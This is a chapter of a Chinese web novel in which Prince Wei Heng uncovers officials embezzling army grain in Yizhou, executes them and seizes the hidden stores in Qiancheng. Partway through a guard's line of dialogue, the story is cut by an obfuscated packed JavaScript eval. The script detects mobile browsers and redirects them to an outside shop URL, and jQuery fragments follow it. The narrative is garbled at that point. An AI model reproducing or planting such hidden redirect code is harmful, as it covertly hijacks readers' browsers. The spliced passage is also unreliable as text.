151. 卫衡驿州查粮草,严惩污吏不手……

作品:《倾卿良策

    “这……容我想想……”温言成起身,与周誉使一眼色,便往殿外走去。


    偏殿里,周誉道:“娘娘,晋王若是押运粮草去了漠州,便是放虎归山啊。”


    “我岂会不知?我正是担心他去了漠州,再与连厉串通一气,不回来了,又该如何是好?”温言成烦闷不已,“除了让晋王去驿州,你可还有别的人选?”


    周誉苦思冥想半晌,仍旧没有想出任何一个更为合适的人,能担此重任。


    “……不如就派晋王去。”周誉转着眸子,“算起来,从驿州押运粮草到漠州,就算再慢,半年的时间也该到了。娘娘手上有让晋王不得不回来的东西,晋王去多久,还不是娘娘说了算。”


    “唔——说的也是。”温言成稍稍舒一口气,“那就让他去。”


    接旨,出宫。


    卫衡回府简单收拾了行李,便带连威及五名侍卫,即刻离京,赶往驿州。


    疾行十余日,终到驿州城外。


    先行探路的侍卫回禀:“殿下,前方便是押运粮草的士卒营地。”


    卫衡抬头望一眼正午的大太阳,驾起马儿:“走。”


    营地处,粮草有的堆在地上,有的堆在拖车上。士卒懒懒散散,有的三五成群,谈天说地,聊得正欢,有的横七竖八躺在粮草上小憩。


    “啪!”


    马鞭凌空一声巨响,惊得众人耸了耸肩,抬头看去。便见七名身着盔甲之人勒马停下。


    打头一人跨战马、握长枪,身姿挺拔,面色冷毅。他厉目扫视着一切:“纪空何在?速来与本王回话!”


    众人见来人气度不凡,又自称“本王”,便七七八八确定了眼前之人就是晋王。


    形态各异的士卒纷纷起身,有人悄悄跑开,去与纪空报信,有人上前与卫衡施礼。


    “末将见过晋王殿下。”


    卫衡看着眼前毕恭毕敬的人,从其身着的盔甲看,当是军中的参军:“报名号,职位。”


    那人颔首:“末将乌实,乃军中仓曹参军。”


    “仓曹参军?”卫衡眉头一挑,微微侧首看了眼连威。


    连威即时会意,他下马,走上前去:“乌参军来的正好,我正要找你呢。”说着,连威便与乌时往一旁走去。


    卫衡看一眼方才报信士兵入的帐,许久未见人出来。


    他深呼一口气,驾起马,便往帐前去。长枪当空横扫,帐顶立时折下……


    帐中作饮的三人,手中酒杯未落,尽是半张着嘴巴,惊恐地望向卫衡。


    卫衡冷笑一声:“向长史、耿参军、纪主官,本王请不动三位,只好亲自来见你们了。扰了三位兴致,还望海涵。”


    纪空咽了咽口水:“……晋王殿下哪儿的话,我等……正在讨论征收粮草一事。”


    “哦?”卫衡扫一眼三人,“可有讨论出什么?”


    纪空三人相视一眼:“这……”


    纪空一脸为难:“眼下气温尚未回暖,冻土未消,并非播种时节。再加之过冬消耗了不少,挨家挨户也征收不上多少粮草来……”


    “锵——”


    纪空话音未落,银枪便被送到眼前。


    卫衡眸光里的寒意比锋利的银枪更甚几分:“哼!驿州该征集的粮草数量,早在半年前,朝廷就已经下了密旨。纪主官,你从京中携密旨而来,是忘了?”他又瞥向驿州长史,“向长史,两个月前,可是你亲自起草奏书上报的朝廷,驿州征粮已经完成,你可还记得?”


    向长史抬着眼角,颔首道:“记……”


    “尔等连个搪塞本王的理由都找不出吗?”卫衡沉声怒吼,在场之人不寒而栗。


    卫衡又看向一直未作声的驿州司仓参军:“耿参军,你负责粮草清点,速将记录册子拿来!”


    耿参军看一眼尚长史,才缓缓将手伸入怀里,拿出一封折子,递与马上的卫衡。


    卫衡拿过折子并未打开,连威便走来。


    “回殿下,驿州曾报运送粮草五万石,实际上,只有四万石。”


    卫衡把折子交给连威,冷眼看着面前的三人:“三位好大的胃口啊,敢私吞一万石军粮,就不怕把自己撑死?来人,拿下!”


    “是!”


    侍卫得令,下马朝三人走去。


    忽而,向长史猛然抽出腰间匕首,瞅准空挡,窜上前去,便将连威从背后挟持。接着,士卒握刀挽弓,纷纷围将上来。


    纪空这才收起那副唯唯诺诺的样子,双手背在身后,挺了挺胸膛,对着卫衡道:“哈哈哈……晋王殿下明察秋毫,我们这些把戏,又怎会瞒得过你啊。殿下定是猜到了巡查御史的下场,才亲自前来的吧?只可惜,殿下早该想到,我等既走到了此步,早已没了退路,必会破釜沉舟。你今日落在我的手上,算你失策。”


    他缓缓抬手,周围士兵手中弓弦绷紧,刀柄便在手中握了又握。


    “扑哧——”


    不等纪空将手抬起,卫衡手中的银枪便穿入纪空胸膛,又从后背穿出。


    连威扭住向长史握着匕首的手腕,低头弯腰,便将向长史从身后摔到面前,他顺势用膝盖抵住了向长史的命脉。


    刹那间,主官身亡,长史被擒,耿参军也被侍卫按在了地上。


    三位上官失了势,围着卫衡的士兵顿时慌作一团。


    “纪空私吞军粮,死罪难逃,已被我正法!尔等还不速速放下刀箭!”卫衡厉声道,“本王念尔等听命行事,罪在主官,其余人等不予追究!”


    士兵们闻此,相互交顾两眼,一人放下刀,所有人便都“稀里哗啦”放下了手中武器。


    卫衡道:“尔等听令:从速统计粮草,一个时辰后启程,不得有误!”


    “是!”士兵们齐声应着,一哄而散,各司其职。


    卫衡看一眼被侍卫按在地上的尚长史与耿参军,道着:“将他们押回城里去,斩首示众!以儆效尤!”


    车轮终于从驿州城外转了起来,押运粮草的队伍不敢再懒散,卫衡心里这才稍稍松了口气。


    日月交替三次,先行的侍卫来禀,前方已到岍城。


    侍卫道:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947422|186447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    属下打听到,城中还有人在征收粮草。”


    卫衡眉心一紧,略略琢磨片刻,便与连威低声吩咐:“你去城中跟着征收粮草的人,切莫打草惊蛇。”


    “明白!”连威应着,便驾马前去。


    卫衡又与乌实道:“让队伍停下,就地修整。”


    乌实颔首,便去前方传令。


    临近傍晚,连威才从岍城出来。


    “殿下,我跟着那二人一路摸到了他们私藏粮草的仓房。我数了数,不止一万石。”


    卫衡闻此,点了点头,似乎早已有了打算。


    他上马:“走,去收粮!”


    岍城粮仓。


    木门顷刻间破碎,五名侍卫持刀而入,便将守仓的士兵逼得连连倒退。


    卫衡在库房内站定,连威便将岍城县令带来。


    “见……见过……殿……殿下……”县令周身抖得已说不出一句完整的话。


    “驿州奉旨征收五万石军粮,却只收了四万石,本王竟不知岍城竟有如此大的粮仓,可存一万石以上的粮食,足足占了整个驿州的五分之一,是我孤陋寡闻了。县令有如此本事,能让岍城如此富足,县令一职,实在委屈你了。”


    “不敢,不敢。”县令“扑通”一下跪地,“殿下恕罪,并非下官刻意隐瞒,都是……是尚长史逼我这么做的……”


    “向长史已被斩首,县令听说了吧,故而,便将所有责任推到长史身上,是要与本王来个死无对证?”卫衡冷声道着。


    “下官不敢、下官不敢!”县令不断磕着头,颤抖的手从袖间取出一摞书信,“这些都是尚长史写给下官的书信,请殿下过目。”


    卫衡拿过信,县令接着道:“本州刺史因贪污被罚没了家产,贬去下州做了县令,尚长史害怕自己也会有此下场,便与本州司仓参军联手,欺上瞒下,克扣军粮,还贿赂了粮草押运的主官纪空,他们本是想将四万石军粮运往漠州,若是被人发现,就说是中途损耗。克扣下来的这一万石,会在确保城中没有粮草之后,高额售出,从而谋取暴利……”


    连威闻言,愤怒至极:“如此,他们就不怕掉脑袋?”


    县令道:“他们已经做好准备,等捞笔大钱,就远走异国……”


    “可恶!叛国之贼!”


    卫衡听完,道:“本王会拟封奏书,向朝廷禀明实情。驿州粮草有失,你也参与其中,故而必须下狱!等刑部调查清楚原委,应会念你有主动交代之行为,酌情处理。”


    “是。下官谢殿下。”


    卫衡又吩咐连威:“让乌实带人来清点粮草。还有,就近找家客栈,奢俭无意,安静就好,本王要草拟奏折。”


    “是,属下明白!”


    入夜,乌实带人赶来,连夜装运起粮草。


    卫衡从客栈二楼房间里,正好可以看到仓库中粮草的搬运情况。


    “殿下放心,兄弟们都守着,不会有误。”连威道着。


    卫衡闻此,心中自是放心不少。


    他关好窗户,房间里立时安静了不少。